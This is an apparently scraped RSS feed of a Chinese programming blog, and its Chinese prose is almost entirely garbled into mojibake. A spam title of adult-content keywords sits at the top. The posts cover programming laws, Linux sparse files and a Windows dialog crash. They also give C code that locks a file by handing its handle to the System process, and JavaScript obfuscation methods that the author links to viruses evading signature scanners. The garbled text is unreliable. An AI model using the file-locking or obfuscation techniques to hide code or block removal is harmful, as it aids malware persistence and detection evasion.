锘??xml version="1.0" encoding="utf-8" standalone="yes"?>国产精品一二三四,国产美女精品一区二区三区,亚洲高清在线播放http://www.shnenglu.com/elva/archive/2010/10/10/129324.html鍙跺瓙鍙跺瓙Sun, 10 Oct 2010 04:41:00 GMThttp://www.shnenglu.com/elva/archive/2010/10/10/129324.htmlhttp://www.shnenglu.com/elva/comments/129324.htmlhttp://www.shnenglu.com/elva/archive/2010/10/10/129324.html#Feedback0http://www.shnenglu.com/elva/comments/commentRss/129324.htmlhttp://www.shnenglu.com/elva/services/trackbacks/129324.html

[鑻辨枃鍑哄]錛?a >21 Laws of Computer Programming
[璇戞枃鍑哄]錛?a target=_blank>澶栧垔IT璇勮

浠諱綍涓涓湁緇忛獙鐨勭▼搴忓憳閮界煡閬擄紝杞歡寮鍙戦伒寰潃涓浜涗笉鎴愭枃鐨勬硶鍒欍傜劧鑰岋紝濡傛灉浣犱笉閬靛驚榪欎簺娉曞垯涔熷茍涓嶆剰鍛崇潃浼氬彈鍒版儵緗氾紱鐩稿弽錛屾湁鏃朵綘榪樹細鑾峰緱鎰忓鐨勫ソ澶勩?/p>

涓嬮潰鐨勫氨鏄蔣浠剁紪紼嬩腑鐨?1鏉℃硶鍒欙細

 

  1. 浠諱綍紼嬪簭涓鏃﹂儴緗插嵆鏄鵑檲鏃с?
  2. 淇敼闇姹傝鑼冩潵閫傚簲紼嬪簭姣斿弽榪囨潵鍋氭洿瀹規槗銆?
  3. 涓涓▼搴忓鏋滃緢鏈夌敤錛岄偅瀹冩敞瀹氳琚敼鎺夈?
  4. 涓涓▼搴忓鏋滄病鐢紝閭e畠涓瀹氫細鏈夊緢濂界殑鏂囨。銆?
  5. 浠諱綍紼嬪簭閲岄兘浠呬粎鍙湁10%鐨勪唬鐮佷細琚墽琛屽埌銆?
  6. 杞歡浼氫竴鐩磋啫鑳鍒拌楀敖鎵鏈夎祫婧愪負姝€?
  7. 浠諱綍涓涓湁鐐逛環鍊肩殑紼嬪簭閲岄兘浼氭湁鑷沖皯涓涓猙ug銆?
  8. 鍘熷瀷瀹岀編鐨勭▼搴﹁窡瀹¤鐨勪漢鏁版垚鍙嶆瘮錛屽弽姣斿間細闅忕潃娑夊強鐨勮祫閲戞暟澧炲ぇ銆?
  9. 杞歡鐩村埌琚彉鎴愪駭鍝佽繍琛岃嚦灝?涓湀鍚庯紝瀹冩渶涓ラ噸鐨勯棶棰樻墠浼氳鍙戠幇銆?
  10. 鏃犳硶媯嫻嬪埌鐨勯敊璇殑褰㈠紡鏃犻檺澶氭牱錛岃岃兘琚嫻嬪埌鐨勬濂界浉鍙嶏紝琚畾涔変簡鐨勫崄鍒嗘湁闄愩?
  11. 淇涓涓敊璇墍闇瑕佹姇鍏ョ殑鍔姏浼氶殢鐫鏃墮棿鎴愭寚鏁扮駭澧炲姞銆?
  12. 杞歡鐨勫鏉傚害浼氫竴鐩村鍔狅紝鐩村埌瓚呭嚭緇存姢榪欎釜紼嬪簭鐨勪漢鐨勬壙鍙楄兘鍔涖?
  13. 浠諱綍鑷繁鐨勭▼搴忥紝鍑犱釜鏈堜笉鐪嬶紝褰㈠悓鍏朵粬浜哄啓鐨勩?
  14. 浠諱綍涓涓皬紼嬪簭閲岄潰閮芥湁涓涓法澶х殑紼嬪簭锠㈣牏嬈插嚭銆?
  15. 緙栫爜寮濮嬬殑瓚婃棭錛岃姳璐圭殑鏃墮棿瓚婇暱銆?
  16. 涓涓矖蹇冪殑欏圭洰璁″垝浼氳浣犲鑺?鍊嶇殑鏃墮棿鍘誨畬鎴愶紱涓涓粏蹇冪殑欏圭洰璁″垝鍙細璁╀綘澶氳姳2鍊嶇殑鏃墮棿銆?
  17. 寰澶у瀷欏圭洰閲屾坊鍔犱漢鎵嬩細浣塊」鐩洿寤惰繜銆?
  18. 涓涓▼搴忚嚦灝戜細瀹屾垚90%錛屼絾姘歌繙瀹屾垚涓嶄簡瓚呰繃95%銆?
  19. 濡傛灉浣犳兂楹葷儲琚嚜鍔ㄥ鐞嗘帀錛屼綘寰楀埌鐨勬槸鑷姩浜х敓鐨勯夯鐑︺?
  20. 寮鍙戜竴涓偦鐡滈兘浼氫嬌鐢ㄧ殑杞歡錛屽彧鏈夊偦鐡滄効鎰忎嬌鐢ㄥ畠銆?
  21. 鐢ㄦ埛涓嶄細鐪熸鐨勭煡閬撹鍦ㄨ蔣浠墮噷鍋氫簺浠涔堬紝闄ら潪浣跨敤榪囥?


鍙跺瓙 2010-10-10 12:41 鍙戣〃璇勮
]]>
Linux瀵圭█鐤忥紙Sparse錛夋枃浠剁殑鏀寔http://www.shnenglu.com/elva/archive/2008/06/26/54662.html鍙跺瓙鍙跺瓙Thu, 26 Jun 2008 05:47:00 GMThttp://www.shnenglu.com/elva/archive/2008/06/26/54662.htmlhttp://www.shnenglu.com/elva/comments/54662.htmlhttp://www.shnenglu.com/elva/archive/2008/06/26/54662.html#Feedback1http://www.shnenglu.com/elva/comments/commentRss/54662.htmlhttp://www.shnenglu.com/elva/services/trackbacks/54662.html

紼鐤忥紙Sparse錛夋枃浠剁殑鍒涘緩

  1. 鍦‥XT2/EXT3鏂囦歡緋葷粺涓婂彲浠ヤ嬌鐢╠d鍒涘緩紼鐤忔枃浠訛細

    $ dd if=/dev/zero of=fs.img bs=1M seek=1024 count=0
    0+0 records in
    0+0 records out
    $ ls -lh fs.img
    -rw-rw-r--  1 zhigang zhigang 1.0G Feb  5 19:50 fs.img
    $ du -sh fs.img
    0       fs.img

  2. 浣跨敤C璇█鏉ュ垱寤轟竴涓█鐤忔枃浠剁殑鏂規硶濡備笅錛?br>
    $ cat sparse.c
    #include 
    <sys/types.h>
    #include 
    <sys/stat.h>
    #include 
    <fcntl.h>
    #include 
    <unistd.h>

    int main(int argc, char *argv[])
    {
        
    int fd = open("sparse.file", O_RDWR|O_CREAT);
        lseek(fd, 
    1024, SEEK_CUR);
        write(fd, 
    "\0"1);

        
    return 0;
    }


    $ gcc 
    -o sparse sparse.c
    $ .
    /sparse
    $ ls 
    -l sparse.file
    -r-x--x---  1 zhigang zhigang 1025 Feb  5 23:12 sparse.file
    ]$ du sparse.file
    4       sparse.file

  3.  浣跨敤python鏉ュ垱寤轟竴涓█鐤忔枃浠剁殑鏂規硶濡備笅錛?

    $ cat sparse.py
    #!/usr/bin/env python

    = open('fs.img''w')
    f.seek(
    1023)
    f.write(
    '\n')

    $ python sparse.py
    $ ls 
    -l fs.img
    -rw-rw-r--  1 zhigang zhigang 1024 Feb  5 20:15 fs.img
    $ du fs.img
    4       fs.img


    鏂囦歡紼鐤忓寲錛坰parsify錛?/strong>

    涓嬮潰鐨勬柟娉曢兘鍙互灝嗕竴涓枃浠剁█鐤忓寲銆?br>
    1. cp:

    $ cp --sparse=always file file.sparse


    cp緙虹渷浣跨敤--sparse=auto錛屼細鑷姩鎺㈡祴婧愭枃浠朵腑鏄惁鏈夌┖媧烇紝浠ュ喅瀹氱洰鏍囨枃浠舵槸鍚︿負紼鐤忔枃浠訛紱浣跨敤--sparse=never浼氱姝㈠垱寤虹█鐤忔枃浠躲?br>
    2. cpio:

    $ find file |cpio -pdmuv --sparse /tmp


    濡傛灉涓嶅姞--sparse鍙傛暟錛岀█鐤忔枃浠朵腑鐨勭┖媧炲皢琚~婊°?

    3. tar:

    $ tar cSf - file | (cd /tmp/tt; tar xpSf -)


    濡傛灉涓嶅姞 -S --sparse鍙傛暟錛岀█鐤忔枃浠朵腑鐨勭┖媧炲皢琚~婊°?

    鏂囦歡紼鐤忓寲錛坰parsify錛夋晥鐜囨瘮杈?/strong>

    涓嬮潰鎴戜滑鍒涘緩涓涓?00M鐨勭█鐤忔枃浠訛紝姣旇緝涓涓嬪嚑縐嶆枃浠剁█鐤忓寲鏂規硶鐨勬晥鐜囥?

    $ dd if=/dev/zero of=file count=100 bs=1M seek=400
    100+0 records in
    100+0 records out
    $ time cp --sparse=always file file.sparse
    real    0m0.626s
    user    0m0.205s
    sys     0m0.390s

    $ time tar cSf - file | (cd /tmp; tar xpSf -)
    real    0m2.732s
    user    0m1.706s
    sys     0m0.915s

    $ time find file |cpio -pdmuv --sparse /tmp
    /tmp/file
    1024000 blocks
    real    0m2.763s
    user    0m1.793s
    sys     0m0.946s


    鐢辨鍙錛屼笂闈㈠嚑縐嶆枃浠剁█鐤忓寲鐨勬柟娉曚腑錛宑p鐨勬晥鐜囨渶楂橈紱tar鍜宑pio鐢變簬浣跨敤綆¢亾錛屾晥鐜囦笅闄嶃?

    浣縀XT2/EXT3鏂囦歡緋葷粺紼鐤忓寲錛坰parsify錛?/strong>

    濡備綍鏄竴涓枃浠剁郴緇熺殑鏄犲儚鏂囦歡紼鐤忓寲錛烺on Yorston涓哄ぇ瀹舵彁渚涗簡鍑犵鏂規硶錛屾垜瑙夊緱涓嬮潰鐨勬柟娉曟渶綆鍗曪細

    1. 浣跨敤Ron Yorston鐨?a >zerofree灝嗘枃浠剁郴緇熶腑鏈嬌鐢ㄧ殑鍧楁竻闆躲?br>

    $ gcc -o zerofree zerofree.c -lext2fs
    $ ./zerofree fs.img


    2.浣跨敤cp鍛戒護浣挎槧鍍忔枃浠剁█鐤忓寲錛?

    $ cp --sparse=always fs.img fs_sparse.img


     

    EXT2/EXT3鏂囦歡緋葷粺鐨剆parse_super鍙傛暟

    榪欎釜鍙傛暟涓嶦XT2/EXT3鏄惁鏀寔Sparse鏂囦歡鏃犲叧錛涘綋鎵撳紑璇ュ弬鏁版椂錛屾枃浠剁郴緇熷皢浣跨敤鏇村皯鐨勮秴綰у潡錛圫uper block錛夊浠斤紝浠ヨ妭鐪佺┖闂淬?/p>

    濡備笅鐨勫懡浠ゅ彲浠ユ煡鐪嬭鍙傛暟錛?br>

    # echo stats | debugfs /dev/hda2 | grep -i features
    Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super large_file


    鎴栬咃細

    # tune2fs -l /dev/hda2 |grep "Filesystem features"
    Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super large_file


    鍙互閫氳繃浣跨敤錛?

    # tune2fs -O sparse_super


    鎴栬咃細

    # tune2fs -s [0|1]


    鏉ヨ緗鍙傛暟銆?

    鍙傝冭祫鏂?br>

    1. Keeping filesystem images sparse:

              http://intgat.tigress.co.uk/rmy/uml/sparsify.html.



鍙跺瓙 2008-06-26 13:47 鍙戣〃璇勮
]]>
CFileDialog 寮傚父閫鍑虹殑闂http://www.shnenglu.com/elva/archive/2008/06/18/53834.html鍙跺瓙鍙跺瓙Wed, 18 Jun 2008 03:52:00 GMThttp://www.shnenglu.com/elva/archive/2008/06/18/53834.htmlhttp://www.shnenglu.com/elva/comments/53834.htmlhttp://www.shnenglu.com/elva/archive/2008/06/18/53834.html#Feedback9http://www.shnenglu.com/elva/comments/commentRss/53834.htmlhttp://www.shnenglu.com/elva/services/trackbacks/53834.html涓よ綆鍗曠殑浠g爜錛?br>
CFileDialog dlg(true);
    dlg.DoModal();

絎竴嬈¢殢渚塊夋嫨涓涓枃浠訛紝絎簩嬈¢夋嫨妗岄潰鐨勪竴涓?txt鏂囦歡錛屽綋榧犳爣縐誨姩鍒拌繖涓猼xt鏂囦歡鐨勬椂鍊欙紝紼嬪簭灝辨寕浜嗐傛鐤戞槸 寰蔣鐨勯棶棰橈紵

鎹pi鎿嶄綔錛岀収鏍鋒寕銆?br>
鎹㈣浜嬫湰錛屾寕銆?br>
Windbg璺熻釜錛屾壘涓嶅埌鍝釜妯″潡錛岀▼搴忔渶鍚庡穿婧冨湪shell32.dll錛屾鏌ヨ繘紼嬬殑dll妯″潡錛屾渶鍚庣粓浜庢壘鍒版槸Adobe鐨刾dfshell.dll寮曡搗鐨勩傚垹闄ゆ帀鎴栬卹egsvr32 /u 鍗歌澆灝卞彲浠ヤ簡銆傛按騫蟲湁闄愶紝涓嶈兘璺熻繘閭d釜dll鍘繪鏌ヤ簡銆?br>

pdf鐗堟湰7.0.8.0
緋葷粺xp sp2

鍙跺瓙 2008-06-18 11:52 鍙戣〃璇勮
]]>
[杞琞涓孌電簿宸х殑浠g爜~~ring3鏂囦歡鍗犲潙澶ф硶http://www.shnenglu.com/elva/archive/2008/02/04/42511.html鍙跺瓙鍙跺瓙Mon, 04 Feb 2008 03:57:00 GMThttp://www.shnenglu.com/elva/archive/2008/02/04/42511.htmlhttp://www.shnenglu.com/elva/comments/42511.htmlhttp://www.shnenglu.com/elva/archive/2008/02/04/42511.html#Feedback0http://www.shnenglu.com/elva/comments/commentRss/42511.htmlhttp://www.shnenglu.com/elva/services/trackbacks/42511.html
BOOL OccupyFile( LPCTSTR lpFileName );


int main()
{
    OccupyFile("c:\\aaa111.txt");

    return 0;
}



void RaiseToDebugP()
{
    HANDLE hToken;
    HANDLE hProcess = GetCurrentProcess();
    if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )
    {
        TOKEN_PRIVILEGES tkp;
        if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid) )
        {
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            
            BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0) ;
        }
        CloseHandle(hToken);
    }    
}

BOOL OccupyFile( LPCTSTR lpFileName )
{
    BOOL    bRet;
    
    RaiseToDebugP();

    HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4);    // 4涓簊ystem榪涚▼鍙?br>
    if ( hProcess == NULL )
    {
        hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 8);        // 2K涓嬫槸 8??
        
        if ( hProcess == NULL )
            return FALSE;
    }

    HANDLE hFile;
    HANDLE hTargetHandle;

    hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);    


    if ( hFile == INVALID_HANDLE_VALUE )
    {
        CloseHandle( hProcess );
        return FALSE;
    }

    bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &hTargetHandle,
        0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);

    CloseHandle( hProcess );

    return bRet;
}

鍙跺瓙 2008-02-04 11:57 鍙戣〃璇勮
]]>
娓呯┖浠g爜闃叉鏌ョ湅婧愪唬鐮?ZT) http://www.shnenglu.com/elva/archive/2007/12/12/38312.html鍙跺瓙鍙跺瓙Wed, 12 Dec 2007 06:55:00 GMThttp://www.shnenglu.com/elva/archive/2007/12/12/38312.htmlhttp://www.shnenglu.com/elva/comments/38312.htmlhttp://www.shnenglu.com/elva/archive/2007/12/12/38312.html#Feedback0http://www.shnenglu.com/elva/comments/commentRss/38312.htmlhttp://www.shnenglu.com/elva/services/trackbacks/38312.htmlHTML浠g爜

[Ctrl+A 鍏ㄩ儴閫夋嫨 鎻愮ず錛氫綘鍙厛淇敼閮ㄥ垎浠g爜錛屽啀鎸夎繍琛宂


榪欐嫑綆楁槸鐩墠緗戜笂鍏竷鐨勯槻姝㈡煡鐪嬫簮浠g爜鐨勬柟娉曚腑鏈濂界殑浜嗭紝褰撶劧浜嗭紝瑕佺湅榪樻槸鍔炴硶鐨勶紝姣斿鍦ㄥ湴鍧鏍忎腑杈撳叆

javascript:alert(document.documentElement.outerHTML);

鍙跺瓙 2007-12-12 14:55 鍙戣〃璇勮
]]>
JavaScript鍔犲瘑瑙e瘑7縐嶆柟娉?/title><link>http://www.shnenglu.com/elva/archive/2007/12/12/38308.html</link><dc:creator>鍙跺瓙</dc:creator><author>鍙跺瓙</author><pubDate>Wed, 12 Dec 2007 06:29:00 GMT</pubDate><guid>http://www.shnenglu.com/elva/archive/2007/12/12/38308.html</guid><wfw:comment>http://www.shnenglu.com/elva/comments/38308.html</wfw:comment><comments>http://www.shnenglu.com/elva/archive/2007/12/12/38308.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/elva/comments/commentRss/38308.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/elva/services/trackbacks/38308.html</trackback:ping><description><![CDATA[<div id="hvzpftn" class=postbody><span id=ad_02>鏈枃涓鍏變粙緇嶄簡涓冪javascript鍔犲瘑鏂規硶錛?br><br>銆銆鍦ㄥ仛緗戦〉鏃訛紙鍏跺疄鏄綉欏墊湪椹懙鍛碉級錛屾渶璁╀漢鐑︽伡鐨勬槸鑷繁杈涜緵鑻﹁嫤鍐欏嚭鏉ョ殑瀹㈡埛绔疘E榪愯鐨刯avascript浠g爜甯稿父琚埆浜鴻交鏄撶殑鎷瘋礉錛屽疄鍦ㄨ鑷繁鐨勫績閲屾湁鐐逛笉鏄粙鍛籌紝瑕佺煡閬撹嚜宸卞啓鐐逛笢瑗夸篃鎸虹瘡鐨?.....^*^<br><br>銆銆浣嗘垜浠篃搴旇娓呮鍦拌璇嗗埌鍥犱負javascript浠g爜鏄湪IE涓В閲婃墽琛岋紝瑕佹兂緇濆鐨勪繚瀵嗘槸涓嶅彲鑳界殑錛屾垜浠鍋氱殑灝辨槸灝藉彲鑳界殑澧炲ぇ鎷瘋礉鑰呭鍒剁殑闅懼害錛岃浠栫煡闅捐岄錛堜絾鎰縹!~錛夛紝涓嬮潰鎴戠粨鍚堣嚜宸辮繖鍑犲勾鏉ョ殑瀹炶返錛屽強涓漢鐮旂┒鐨勫績寰楋紝鍜屽ぇ瀹朵竴璧鋒潵鎺㈣涓涓嬬綉欏典腑javascript浠g爜鐨勫姞瀵嗚В瀵嗘妧鏈?br><br>銆銆浠ュ姞瀵嗕笅闈㈢殑javascript浠g爜涓轟緥錛?br><br><SCRIPT LANGUAGE="javascript"><br>alert("銆婃垜鐖變竴璧楓?);<br></SCRIPT><br><br>銆銆<strong>涓錛氭渶綆鍗曠殑鍔犲瘑瑙e瘑</strong><br><br>銆銆澶у瀵逛簬javascript鍑芥暟escape()鍜寀nescape()鎯沖繀鏄瘮杈冧簡瑙e暒錛堝緢澶氱綉欏靛姞瀵嗗湪鐢ㄥ畠浠級錛屽垎鍒槸緙栫爜鍜岃В鐮佸瓧絎︿覆錛屾瘮濡備緥瀛愪唬鐮佺敤escape()鍑芥暟鍔犲瘑鍚庡彉涓哄涓嬫牸寮忥細<br><br>alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B<br><br>銆銆濡備綍錛熻繕鐪嬬殑鎳傚悧錛熷綋鐒跺叾涓殑ASCII瀛楃"alert"騫舵病鏈夎鍔犲瘑錛屽鏋滄効鎰忔垜浠彲浠ュ啓鐐筳avascript浠g爜閲嶆柊鎶婂畠鍔犲瘑濡備笅錛?br><br>%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B<br><br>銆銆鍛靛懙錛佸浣曪紵榪欐鏄畬鍏ㄩ兘鍔犲瘑浜嗭紒<br><br>銆銆褰撶劧錛岃繖鏍峰姞瀵嗗悗鐨勪唬鐮佹槸涓嶈兘鐩存帴榪愯鐨勶紝騫稿ソ榪樻湁eval(codeString)鍙敤錛岃繖涓嚱鏁扮殑浣滅敤灝辨槸媯鏌avascript浠g爜騫舵墽琛岋紝蹇呴夐」 codeString 鍙傛暟鏄寘鍚湁鏁?javascript 浠g爜鐨勫瓧絎︿覆鍊鹼紝鍔犱笂涓婇潰鐨勮В鐮乽nescape()錛屽姞瀵嗗悗鐨勭粨鏋滃涓嬶細<br><br><SCRIPT LANGUAGE="javascript"><br>var code=unescape("%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B");<br>eval(code)<br></SCRIPT> <p>銆銆鏄笉鏄緢綆鍗曪紵涓嶈楂樺叴錛岃В瀵嗕篃灝卞悓鏍風殑綆鍗曪紝瑙e瘑浠g爜閮芥憜緇欏埆浜哄暒錛坲nescape()錛夛紒鍛靛懙<br><br>銆銆<strong>浜岋細杞箟瀛楃""鐨勫鐢?/strong><br><br>銆銆澶у鍙兘瀵硅漿涔夊瓧絎?"涓嶅お鐔熸倝錛屼絾瀵逛簬javascript鎻愪緵浜嗕竴浜涚壒孌婂瓧絎﹀錛歯 錛堟崲琛岋級銆?r 錛堝洖杞︼級銆? 錛堝崟寮曞彿錛夌瓑搴旇鏄湁鎵浜嗚В鐨勫惂錛熷叾瀹?"鍚庨潰榪樺彲浠ヨ窡鍏繘鍒舵垨鍗佸叚榪涘埗鐨勬暟瀛楋紝濡傚瓧絎?a"鍒欏彲浠ヨ〃紺轟負錛?141"鎴?x61"錛堟敞鎰忔槸灝忓啓瀛楃"x"錛夛紝鑷充簬鍙屽瓧鑺傚瓧絎﹀姹夊瓧"榛?鍒欎粎鑳界敤鍗佸叚榪涘埗琛ㄧず涓?u9ED1"錛堟敞鎰忔槸灝忓啓瀛楃"u"錛夛紝鍏朵腑瀛楃"u"琛ㄧず鏄弻瀛楄妭瀛楃錛屾牴鎹繖涓師鐞嗕緥瀛愪唬鐮佸垯鍙互琛ㄧず涓猴細</p> <p>銆銆鍏繘鍒惰漿涔夊瓧絎︿覆濡備笅:</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>eval("1411541451621645042u9ED1u5BA2u9632u7EBF425173")<br></SCRIPT></p> <p>銆銆鍗佸叚榪涘埗杞箟瀛楃涓插涓?</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>eval("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")<br></SCRIPT></p> <p>銆銆榪欐娌℃湁浜嗚В鐮佸嚱鏁幫紝鍥犱負javascript鎵ц鏃朵細鑷杞崲錛屽悓鏍瘋В鐮佷篃鏄緢綆鍗曞涓嬶細</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>alert("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")<br></SCRIPT></p> <p>銆銆灝變細寮瑰嚭瀵硅瘽妗嗗憡璇変綘瑙e瘑鍚庣殑緇撴灉錛?br><br>銆銆<strong>涓夛細浣跨敤Microsoft鍑哄搧鐨勮剼鏈紪鐮佸櫒Script Encoder鏉ヨ繘琛岀紪鐮?/strong><br><br>銆銆宸ュ叿鐨勪嬌鐢ㄥ氨涓嶅浠嬬粛鍟︼紒鎴戞槸鐩存帴浣跨敤javascript璋冪敤鎺т歡Scripting.Encoder瀹屾垚鐨勭紪鐮侊紒浠g爜濡備笅錛?/p> <p class=code><SCRIPT LANGUAGE="javascript"><br>var Senc=new ActiveXObject("Scripting.Encoder");<br>var code='<SCRIPT LANGUAGE="javascript">rnalert("銆婃垜鐖變竴璧楓?);rn</SCRIPT>';<br>var Encode=Senc.EncodeScriptFile(".htm",code,0,"");<br>alert(Encode);<br></SCRIPT></p> <p>銆銆緙栫爜鍚庣殑緇撴灉濡備笅錛?/p> <p class=code><SCRIPT LANGUAGE="JScript.Encode">#@~^FgAAAA==@#@&lsDD`J榛戝闃茬嚎r#p@#@&FgMAAA==^#~@</SCRIPT></p> <p>銆銆澶熼毦鐪嬫噦寰楀惂錛熶絾鐩稿簲鐨勮В瀵嗗伐鍏鋒棭宸插嚭鏉ワ紝鑰屼笖榪炶В瀵嗙綉欏甸兘鏈夛紒鍥犱負鍏惰В瀵嗙綉欏典唬鐮佽繃澶氾紝鎴戝氨涓嶅璇存媺錛佺粰澶у浠嬬粛涓涓嬫垜鐙垱鐨勮В瀵嗕唬鐮侊紝濡備笅錛?/p> <p><SCRIPT LANGUAGE="JScript.Encode"><br>function decode()<br>alert(decode.toString());<br></SCRIPT></p> <p>銆銆鍜嬫牱錛熷綆鍗曞惂錛熷畠鏄師鐞嗘槸錛氱紪鐮佸悗鐨勪唬鐮佽繍琛屽墠IE浼氬厛瀵瑰叾榪涜瑙g爜錛屽鏋滄垜浠厛鎶婂姞瀵嗙殑浠g爜鏀懼叆涓涓嚜瀹氫箟鍑芥暟濡備笂闈㈢殑decode()涓紝鐒跺悗瀵硅嚜瀹氫箟鍑芥暟decode璋冪敤toString()鏂規硶錛屽緱鍒扮殑灝嗘槸瑙g爜鍚庣殑浠g爜錛?/p> <p>銆銆濡傛灉浣犺寰楄繖鏍風紪鐮佸緱鍒扮殑浠g爜LANGUAGE灞炴ф槸JScript.Encode錛屽緢瀹規槗璁╀漢璇嗙牬錛岄偅涔堣繕鏈変竴涓嚑涔庝笉涓轟漢鐭ョ殑window瀵硅薄鐨勬柟娉昬xecScript()錛屽叾鍘熷艦涓猴細</p> <p class=code>銆銆window.execScript( sExpression, sLanguage ) </p> <p>銆銆鍙傛暟錛?br><br>sExpression:銆 蹇呴夐」銆傚瓧絎︿覆(String)銆傝琚墽琛岀殑浠g爜銆?br><br>sLanguage銆:銆 蹇呴夐」銆傚瓧絎︿覆(String)銆傛寚瀹氭墽琛岀殑浠g爜鐨勮璦銆傞粯璁ゅ間負 Microsoft JScript<br><br>浣跨敤鏃訛紝鍓嶉潰鐨?window"鍙互鐪佺暐涓嶅啓錛?/p> <p>銆銆鍒╃敤瀹冩垜浠彲浠ュ緢濂界殑榪愯緙栫爜鍚庣殑javascript浠g爜錛屽涓嬶細</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>execScript("#@~^FgAAAA==@#@&lsDD`J鎴戠埍涓璧穜#p@#@&FgMAAA==^#~@","JScript.Encode")<br></SCRIPT></p> <p>銆銆浣犲彲浠ュ埄鐢ㄦ柟娉曚簩瀵瑰叾涓殑""鍙峰唴鐨勫瓧絎︿覆鍐嶈繘琛岀紪鐮侊紝浣垮緱"JScript.Encode"浠ュ強緙栫爜鐗瑰緛鐮?#@~^"涓嶅嚭鐜幫紝鏁堟灉浼氭洿濂斤紒</p> <p>銆銆<strong>鍥涳細浠繪剰娣誨姞NUL絀哄瓧絎︼紙鍗佸叚榪涘埗00H錛?/strong><br><br>銆銆涓嬈″伓鐒剁殑瀹為獙錛屼嬌鎴戝彂鐜板湪HTML緗戦〉涓換鎰忎綅緗坊鍔犱換鎰忎釜鏁扮殑"絀哄瓧絎?錛孖E鐓ф牱浼氭甯告樉紺哄叾涓殑鍐呭錛屽茍姝e父鎵ц鍏朵腑鐨刯avascript 浠g爜錛岃屾坊鍔犵殑"絀哄瓧絎?鎴戜滑鍦ㄧ敤涓鑸殑緙栬緫鍣ㄦ煡鐪嬫椂錛屼細鏄劇ず褰㈠絀烘牸鎴栭粦鍧楋紝浣垮緱鍘熺爜寰堥毦鐪嬫噦錛屽鐢ㄨ浜嬫湰鏌ョ湅鍒?絀哄瓧絎?浼氬彉鎴?絀烘牸"錛屽埄鐢ㄨ繖涓師鐞嗗姞瀵嗙粨鏋滃涓嬶細錛堝叾涓樉紺虹殑"絀烘牸"浠h〃"絀哄瓧絎?錛?/p> <p class=code><S C RI P T L ANG U A G E =" J a v a S c r i p t "> <br>a l er t (" 鎴?nbsp;鐖?nbsp;涓 璧?) ; <br>< / SC R I P T></p> <p>銆銆濡備綍錛熸槸涓嶆槸鏄懼緱涔變竷鍏碂鐨勶紵濡傛灉涓嶇煡閬撴柟娉曠殑浜哄緢闅炬兂鍒拌鍘繪帀閲岄潰鐨?絀哄瓧絎?錛?0H錛夌殑錛?br><br>銆銆<strong>浜旓細鏃犵敤鍐呭娣蜂貢浠ュ強鎹㈣絀烘牸TAB澶ф硶</strong><br><br>銆銆鍦╦avascript浠g爜涓垜浠彲浠ュ姞鍏ュぇ閲忕殑鏃犵敤瀛楃涓叉垨鏁板瓧錛屼互鍙婃棤鐢ㄤ唬鐮佸拰娉ㄩ噴鍐呭絳夌瓑錛屼嬌鐪熸鐨勬湁鐢ㄤ唬鐮佸煁娌″湪鍏朵腑錛屽茍鎶婃湁鐢ㄧ殑浠g爜涓兘鍔犲叆鎹㈣銆佺┖鏍箋乀AB鐨勫湴鏂瑰姞鍏ュぇ閲忔崲琛屻佺┖鏍箋乀AB錛屽茍鍙互鎶婃甯哥殑瀛楃涓茬敤""鏉ヨ繘琛屾崲琛岋紝榪欐牱灝變細浣垮緱浠g爜闅句互鐪嬫噦錛佸鎴戝姞瀵嗗悗鐨勫艦寮忓涓嬶細</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>"xajgxsadffgds";1234567890<br>625623216;var $=0;alert//@$%%&*()(&(^%^<br>//cctv function//<br>(//hhsaasajx xc<br>/*<br>asjgdsgu*/<br>"鎴戠埍涓璧?//ashjgfgf<br>/*<br>@#%$^&%$96667r45fggbhytjty<br>*/<br>//window<br>)<br>;"#@$#%@#432hu";212351436<br></SCRIPT></p> <p>銆銆鑷沖皯濡傛灉鎴戠湅鍒拌繖鏍風殑浠g爜鏄笉浼氭湁蹇冩濆幓鍒嗘瀽瀹冪殑錛屼綘鍝紵<br><br>銆銆<strong>鍏細鑷啓瑙e瘑鍑芥暟娉?/strong><br><br>銆銆榪欎釜鏂規硶鍜屼竴銆佷簩宸笉澶氾紝鍙笉榪囨槸鑷繁鍐欎釜鍑芥暟瀵逛唬鐮佽繘琛岃В瀵嗭紝寰堝VBS鐥呮瘨浣跨敤榪欑鏂規硶瀵硅嚜韜繘琛屽姞瀵嗭紝鏉ラ槻姝㈢壒寰佺爜鎵弿錛佷笅闈㈡槸鎴戝啓鐨勪竴涓畝鍗曠殑鍔犲瘑瑙e瘑鍑芥暟錛屽姞瀵嗕唬鐮佸涓嬶紙璇︾粏鍙傜収鏂囦歡"鍔犲瘑.htm"錛夛細</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>function compile(code)<br>{ <br>var c=String.fromCharCode(code.charCodeAt(0)+code.length);<br>for(var i=1;i<code.length;i++)<br>alert(escape(c));<br>}<br>compile('alert("銆婃垜鐖變竴璧楓?);')<br></SCRIPT></p> <p>銆銆榪愯寰楀埌鍔犲瘑緇撴灉涓猴細</p> <p 